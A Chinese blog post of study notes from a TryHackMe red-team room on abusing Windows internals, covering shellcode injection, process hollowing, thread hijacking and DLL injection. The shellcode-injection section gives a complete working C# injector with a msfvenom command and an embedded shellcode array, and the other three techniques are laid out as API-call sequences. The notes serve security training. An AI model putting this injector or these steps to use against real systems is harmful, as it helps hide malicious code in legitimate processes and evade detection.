TryHackMe-红队-18_滥用Windows内部

最新推荐文章于 2024-06-11 23:41:25 发布
最新推荐文章于 2024-06-11 23:41:25 发布
阅读量578 收藏
点赞数
分类专栏： 我的网络安全之旅-TryHackMe 文章标签： TryHackMe 红队 进程注入 线程注入 dll注入
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_54704239/article/details/129966203
版权

Abusing Windows Internals

从这一章开始，讲的东西也是非常的重要，我个人认为可能对于未来的进一步学习有着重要的影响

还是老样子，非必要的情况下，我只展示C#版本的代码

利用Windows内部组件，使用与工具无关的现代方法避开常见的检测解决方案。

Windows 内部是 Windows 操作系统运行方式的核心;这为对手提供了一个有利可图的恶意使用目标。Windows 内部可用于隐藏和执行代码、逃避检测以及与其他技术或漏洞链接。

滥用进程

进程注入通常用作一个总体术语，用于描述通过合法功能或组件将恶意代码注入进程。我们将在这个房间里重点介绍四种不同类型的工艺注入，概述如下。

在这里插入图片描述

进程注入

在最基本的层面上，进程注入采用shellcode注入的形式。

在高级别上，shellcode 注入可以分为四个步骤：

  1. 打开具有所有访问权限的目标进程。
  2. 为外壳代码分配目标进程内存。
  3. 将外壳代码写入目标进程中分配的内存。
  4. 使用远程线程执行外壳代码。

在 shellcode 注入的第一步，我们需要使用特殊参数打开一个目标进程。 OpenProcess用于打开通过命令行提供的目标进程。

[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, uint processId);

...

IntPtr processHandle = OpenProcess(0x001F0FFF, false, Uint.Parse(args[0]));

有关C#调用win api的信息可以在pinvoke.net和微软官方文档上找到

在第二步，我们必须为外壳代码的字节大小分配内存。内存分配使用 VirtualAllocEx

[DllImport("kernel32.dll", SetLastError=true, ExactSpelling =true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

...

// 0x3000表示MEM_RESERVE和MEM_COMMIT
// 0x40表示PAGE_EXECUTE_READWRITE
IntPtr address = VirtualAllocEx(processHandle, IntPtr.Zero, 0x1000, 0x3000, 0x40);

在第三步，我们现在可以使用分配的内存区域来编写我们的外壳代码。 WriteProcessMemory通常用于写入内存区域。

[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

...

IntPtr size;
WriteProcessMemory(processHandle, address, shellcode, shellcode.Length, out size);

在第四步，我们现在控制了进程，我们的恶意代码现在被写入内存。要执行驻留在内存中的外壳代码，我们可以使用CreateRemoteThread 创建在另一个进程的虚拟地址空间中运行的线程.

[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

...

CreateRemoteThread(processHandle, IntPtr.Zero, 0, address, IntPtr.Zero, 0, IntPtr.Zero);

使用msf生成shellcode

msfvenom -p windows/x64/exec cmd='cmd.exe' -f csharp

完整代码：

using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
    public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, uint processId);
    [DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    static void Main(string[] args)
    {
        if (args.Length == 0)
        {
            return;
        }

        byte[] shellcode = new byte[275] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
            0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
            0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
            0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
            0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
            0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
            0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
            0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
            0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
            0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
            0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
            0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
            0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
            0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
            0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
            0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
            0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
            0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
            0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,
            0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
            0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
            0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
            0x2e,0x65,0x78,0x65,0x00};

        IntPtr processHandle = OpenProcess(0x001F0FFF, false, uint.Parse(args[0]));
        IntPtr address = VirtualAllocEx(processHandle, IntPtr.Zero, 0x1000, 0x3000, 0x40);
        
        IntPtr size;
        WriteProcessMemory(processHandle, address, shellcode, shellcode.Length, out size);

        CreateRemoteThread(processHandle, IntPtr.Zero, 0, address, IntPtr.Zero, 0, IntPtr.Zero);
    }

}

使用csc编译，然后启动一个notepad.exe，使用tasklist查看pid，运行我们的进程注入器

在这里插入图片描述

在这里插入图片描述

可以看到刚刚打开的notepad没了，并且打开了一个cmd, 也就是说执行了我们的shellcode

在这里插入图片描述

进程Hollowing

在上一个任务中，我们讨论了如何使用shellcode注入将恶意代码注入到合法进程中。在此任务中，我们将介绍进程镂空。与shellcode注入类似，这种技术提供了将整个恶意文件注入进程的能力。这是通过“挖空”或取消映射进程并将特定的PE数据和部分注入进程来实现的。

镂空可以分为六个步骤：

  1. 创建处于挂起状态的目标进程。
  2. 打开恶意image。
  3. 从进程内存中取消映射合法代码。
  4. 为恶意代码分配内存位置，并将每个部分写入地址空间。
  5. 设置恶意代码的入口点。
  6. 使目标进程脱离挂起状态。

由于代码太多，后面的我就不贴代码了，因为基本都是借助pinvoke.net来将C++翻译成C#的, C++的代码在thm的机器中均有提供

在进程镂空的第一步，我们必须使用 CreateProcessA. 要获取 API 调用所需的参数，我们可以使用以下结构 STARTUPINFOA 和 PROCESS_INFORMATION

在第二步中，我们需要打开一个恶意image进行注入。此过程分为三个步骤，首先使用 CreateFileA 获取恶意映像的句柄.

获取恶意映像的句柄后，必须使用 VirtualAlloc. GetFileSize 还用于检索恶意图像的大小 dwSize.

现在内存已分配给本地进程，必须写入内存。使用从前面步骤中获得的信息，我们可以使用 ReadFile 写入本地进程内存.

在第三步，必须通过取消映射内存来“挖空”该过程。在取消映射之前，我们必须确定 API 调用的参数。我们需要确定进程在内存中的位置和入口点。中央处理器寄存器 EAX （入口点），以及 EBX （PEB位置）包含我们需要获取的信息;这些可以通过使用 GetThreadContext. 找到两个寄存器后, ReadProcessMemory 用于从 EBX 带偏移量 (0x8), 通过检查PEB获得.

存储基址后，我们可以开始取消映射内存。我们可以使用 ZwUnmapViewOfSection 从 NTDLL 导入.dll以释放目标进程中的内存.

在第四步，我们必须首先在空心过程中分配内存。我们可以使用 VirtualAlloc 类似于分配内存的步骤二。这次我们需要获取在文件头中找到的图像大小. e_lfanew 可以识别从 DOS 标头到 PE 标头的字节数。到达 PE 标头后，我们可以获得 SizeOfImage 从可选标头.

分配内存后，我们可以将恶意文件写入内存。因为我们正在写入文件，所以我们必须首先写入 PE 标头，然后写入 PE 部分。要写入 PE 标头，我们可以使用 WriteProcessMemory 以及标头的大小，以确定停止的位置.

现在我们需要编写每个部分。要查找部分的数量，我们可以使用 NumberOfSections 从 NT 标头。我们可以循环通过 e_lfanew 以及用于写入每个部分的当前标头的大小.

在第五步，我们可以使用 SetThreadContext 要更改 EAX 指向入口点.

在第六步，我们需要使用 ResumeThread.

线程hijacking

劫持可以分为十个步骤：

  1. 找到并打开要控制的目标进程。
  2. 为恶意代码分配内存区域。
  3. 将恶意代码写入分配的内存。
  4. 标识要劫持的目标线程的线程 ID。
  5. 打开目标线程。
  6. 挂起目标线程。
  7. 获取线程上下文。
  8. 更新指向恶意代码的指令指针。
  9. 重写目标线程上下文。
  10. 恢复被劫持的线程。

由于代码太多，后面的我就不贴代码了，因为基本都是借助pinvoke.net来将C++翻译成C#的, C++的代码在thm的机器中均有提供

我们将分解一个基本的线程劫持脚本，以确定每个步骤，并在下面更深入地解释。

该技术中概述的前三个步骤遵循与正常过程注入相同的常见步骤。

一旦初始步骤结束并且我们的shellcode被写入内存，我们就可以进入第四步。在第四步，我们需要通过识别线程 ID 来开始劫持进程线程的过程。要识别线程ID，我们需要使用三个Windows API调用: CreateToolhelp32Snapshot(), Thread32First(), and Thread32Next(). 这些 API 调用将共同循环访问进程的快照，并扩展功能以枚举进程信息.

在第五步，我们已经在结构指针中收集了所有必需的信息，并且可以打开目标线程。要打开我们将使用的线程 OpenThread 与 THREADENTRY32 结构指针.

在第六步，我们必须挂起打开的目标线程。要挂起我们可以使用的线程 SuspendThread.

在第七步，我们需要获取要在即将到来的 API 调用中使用的线程上下文。这可以通过以下方式完成 GetThreadContext 存储指针.

在第八步，我们需要覆盖RIP（指令指针寄存器）以指向我们的恶意内存区域。如果您还不熟悉 CPU 寄存器，RIP 是一个 x64 寄存器，它将确定下一个代码指令;简而言之，它控制内存中应用程序的流。要覆盖寄存器，我们可以更新 RIP 的线程上下文.

在步骤 9 中，上下文已更新，需要更新为当前线程上下文。这可以使用 SetThreadContext 和上下文的指针.

在最后一步，我们现在可以使目标线程脱离挂起状态。为此，我们可以使用 ResumeThread.

DLL注入

DLL 注入可以分为五个步骤：

  1. 找到要注入的目标进程。
  2. 打开目标进程。
  3. 为恶意 DLL 分配内存区域。
  4. 将恶意 DLL 写入分配的内存。
  5. 加载并执行恶意 DLL。

由于代码太多，后面的我就不贴代码了，因为基本都是借助pinvoke.net来将C++翻译成C#的, C++的代码在thm的机器中均有提供

我们将分解一个基本的 DLL 注入器，以确定每个步骤，并在下面更深入地解释。

在 DLL 注入的第一步，我们必须找到一个目标线程。可以使用三个 Windows API 调用从进程中定位线程: CreateToolhelp32Snapshot(), Process32First(), and Process32Next().

在第二步，枚举 PID 后，我们需要打开该进程。这可以通过各种 Windows API 调用来实现。: GetModuleHandle, GetProcAddress, or OpenProcess.

在步骤 3 中，必须为提供的恶意 DLL 分配内存才能驻留。与大多数喷油器一样，这可以使用 VirtualAllocEx.

在第四步，我们需要将恶意 DLL 写入分配的内存位置。我们可以使用 WriteProcessMemory 写入分配的区域.

在第五步，我们的恶意DLL被写入内存，我们需要做的就是加载并执行它。要加载 DLL，我们需要使用 LoadLibrary; 进口自 kernel32. 加载后, CreateRemoteThread 可用于使用 LoadLibrary 作为启动函数.

Sugobet
关注
专栏目录
TryHackMe-进攻性渗透测试-09_Internal
M1n9K1n9的博客
12-24 360
通过uname -a和cat /proc/version，我们得知其内核版本和ubuntu版本，手上捏着好几个适用的CVE，我尽量克制一下，先不用。当前的目录下存在wp-config.php，里面包含了数据库的账户和密码，但是数据库也没啥有用的东西。在/blog下发现了/wp-login.php，是一个wp的登录页面，尝试弱口令，失败。后台中的添加页面处存在图片上传点，但是似乎有白名单，尝试绕过了半天，都失败了。burp用腻了，换种工具玩玩，没错，它就是我们熟悉的hydra。
使用进程镂空技术免杀360Defender
u013797594的博客
05-05 4525
使用进程镂空技术免杀360Defender，免杀工具风暴免杀
TryHackMe-基本渗透测试
M1n9K1n9的博客
12-22 1177
这里的主要目标是尽可能多地学习。确保您使用OpenVPN配置文件连接到我们的网络。部署机器并连接到我们的网络查找计算机公开的服务按照上面这句话，我们先使用nmap简单扫一圈┌──(root💀kali)-[]└─#nmap-sS访问80端口的web，好像没东西，到8080端口看一下，有网页。
vbs结束进程代码_借助ProcessHollowing和代码注入感染合法进程：信息窃取恶意软件FormBook分析...
weixin_39665787的博客
11-30 329
概述FormBook是一个信息窃取类型的恶意软件。与大多数其他信息窃取类恶意软件一样，它在部署到受害者的计算机上时，会执行许多操作来逃避反病毒厂商产品的检测。当然，正如我们在Ursnif、Hancitor、Dridex和其他木马中看到的那样，有许多变种可以通过多种方式接收Payload。在过去的一年中，威胁行为者最常用的分发FormBook恶意软件的方法是借助恶意钓鱼邮件并利用CVE-...
goby-红队专用版-for-Windows
12-15
goby_红队专用版_for_Windowsgoby_红队专用版_for_Windowsgoby_红队专用版_for_Windowsgoby_红队专用版_for_Windowsgoby_红队专用版_for_Windowsgoby_红队专用版_for_Windowsgoby_红队专用版_for_Windowsgoby_红队...
PSInject-master (12)_inject_UnmanagedPowerShell_UnmanagedPowerSh
09-30
描述中的“Ps inject for red teamers”揭示了这个工具或教程的用途，即为红队操作员提供服务。红队通常是指模拟攻击者行为的安全团队，用于测试组织的安全防御能力。因此，PSInject可能是一个帮助红队成员在目标...
046-红队之浅谈基于Windows telemetry的权限维持.pdf
09-20
"红队浅谈基于Windows telemetry的权限维持" Windows Telemetry是一种强大的监控工具，红队可以使用它来维持权限，以下是相关知识点： 一、 Windows Telemetry 简介 Windows Telemetry是Windows操作系统中的一个...
GOBY 红队版 GOBY205REDTEAM-1288-POCS-by-hlop-orz-zen
11-16
【标题】"GOBY 红队版"指的是一个针对红队操作的工具包或软件版本，名为GOBY，特别标记为205REDTEAM，版本号为1288，由hlop_orz_zen进行POCS（Proof of Concept，概念验证）开发。这个版本可能是一个定制的安全测试...
057-红队测试之Windows提权小结.pdf
09-20
Windows 提权小结 Windows 提权是指攻击者通过利用操作系统或软件应用程序中的漏洞、设计缺陷或配置错误来获得不允许的访问权限。这种权限升级可以使攻击者获得更高的访问权限，从而控制系统或访问敏感文件。 ...
一个窗口镂空程序（挖洞.zip）
05-12
应网友要求，一个窗口镂空程序。说明 CreateRectRgn(0, 0, cx+A_BIT_MORE, cy+A_BIT_MORE); CombineRgn(&wndRgn;, &rgnTemp;, RGN_DIFF)； SetWindowRgn(wndRgn,FALSE); 等CRgn函数的使用
十种花式注入你身体的方法|通用性进程注入技巧大研究
MachineGunJoe666
06-03 754
进程注入是一种广泛应用于恶意软件和无文件攻击中的逃避技术，这需要在另一个进程的地址空间内运行自定义代码。进程注入提高了隐蔽性，一些技术也实现了持久性。 尽管有许多流程注入技术，在本博客中，我提供了十种在现实看到注入另一个进程运行恶意代码的技术。 我还提供了许多这些技术的屏幕截图，以便于逆向工程和恶意软件分析，协助针对这些常见技术进行检测和防御。 1. 经典的DLL注入方式：通过CREATEREMOTETHREAD和LOADLIBRARY进行注入 这种技术是用于将恶意软件注入另一个进程的最常用技术之一。
网络靶场实战-免杀技术进程隐藏
蛇矛实验室
12-13 588
隐藏的时候需要提前找到一个载体。我们目前通过的是读取文件获取我们demo的exe，可以提前获取好，放到我们的内存中，这样更隐蔽。需要注意main函数和winmain，main函数会报错蛇矛实验室成立于2020年，致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成，团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。
5.15更新！免杀绕过Defender、360
潇湘信安的博客
07-18 2867
python3写的这个免杀工具，其原理是利用windows提供的API运行指定程序，然后修改其内存数据，将目标进程“掏空”替换成恶意的木马程序以达到隐蔽和免杀的目的。
【免杀】C2远控-APC注入-进程镂空
最新发布
qq_55349490的博客
06-11 1121
我们需要去烧水，首先我们先去需 要给水壶添水，然后将水壶连接上电之后，然后加热，等水烧开了然后取水，在烧水的等待的时间中，我们不去做任何事情。就是我们在烧水的等待的过程中去干一些其他的事情，比如玩手机，打扫卫生等等。是一种防御规避的进程注入技术,以红队隐匿技能为主的辅助免杀手法。是指函数在特定线程中被异步执行，在操作系统中是并发机制。APC注入 配合进程注入实现父进程欺骗。3.获取挂起进程上下文与环境信息。1.创建一个挂起合法进程。4.卸载挂起进程内存。1、获取父进程PID。2、获取当前进程权限。
10种常见的进程注入技术的总结
热门推荐
qing666888的专栏
09-21 1万+
译者：myswsun 预估稿费：300RMB 投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿 0x00 前言 进程注入是一种广泛应用于恶意软件和无文件攻击中的逃避技术，这意味着可以将自定义代码运行在另一个进程的地址空间内。进程注入提高了隐蔽性，也实现了持久化。尽管有非常多的进程注入技术，但是本文我只列举了10种常见的技术。我还提供了这些
十种进程注入技术介绍：常见注入技术及趋势调查
Fly_鹏程万里
12-04 1683
前言 进程注入是一种广泛使用的躲避检测的技术，通常用于恶意软件或者无文件技术。其需要在另一个进程的地址空间内运行特制代码，进程注入改善了不可见性，同时一些技术也实现了持久性。尽管目前有许多进程注入技术，但在这篇文章中，我将会介绍十种在野发现的，在另一个程序的地址空间执行恶意代码的进程注入技术，并提供这些技术应用的截图，以便于逆向工程和恶意软件分析，然后协助检测并防御这些进程注入技术。 一、...
十种流行进程注入技术详细分析
weixin_34050389的博客
09-13 1109
本文讲的是十种流行进程注入技术详细分析， 前言 流程注入是一种恶意软件和无文件间谍攻击中使用的最为广泛的漏洞攻击技术，而且在攻击时还需要在另一个进程的地址空间内运行自定义代码。过程注入除了提高了攻击的隐蔽性之外，也实现了持久性攻击。尽管目前有许多流程注入技术，但在本文中，我只介绍十种在野外看到的能够运用另一个进程运行恶意代码的技术。在介绍的同时，我还会...
进程隐藏技术系列之简介
weixin_43742894的博客
04-27 1985
什么是进程隐藏？ 对 Windows系统可以用自带的任务管理器，查看进程列表， 找出可疑进程。 恶意代码为了保护自己的进程不被发现，所以就有了进程隐藏技术，用来对抗进程检测。 为什么需要进程隐藏？ 进程隐藏是病毒和木马确保自己不被查杀所要做的最重要的事，而分析检测隐藏进程和发现木马病毒是反病毒工作者的一个重要任务。 为了对抗病毒检测，病毒开发者也在一直寻找更有效的进程隐藏的技术。 进程隐藏的方法 ...
hydry-8.1-windows
06-19
Hydry-8.1-windows是一个开源的渗透测试工具套件，它主要用于漏洞评估、渗透测试和红队攻击等活动。这个工具套件包含了多个常用的渗透工具，比如NMap、Metasploit等等。它提供了一个图形化的用户界面，方便用户进行渗透测试的操作。 Hydry-8.1-windows支持多种操作系统，包括Windows和Linux等。它也支持多种网络协议，比如TCP、UDP、ICMP等。与其他的渗透测试工具相比，Hydry-8.1-windows具有易用性强、功能丰富、可靠性高等优势。同时，它的代码是完全开放的，用户可以根据自己的需要进行修改和定制。 总的来说，Hydry-8.1-windows是一个非常有用的渗透测试工具套件，适合专业的渗透测试人员使用。然而，由于它的操作比较复杂，需要用户具有一定的技术能力。对于普通用户来说，使用它进行渗透测试可能需要一定的学习和实践。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sugobet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值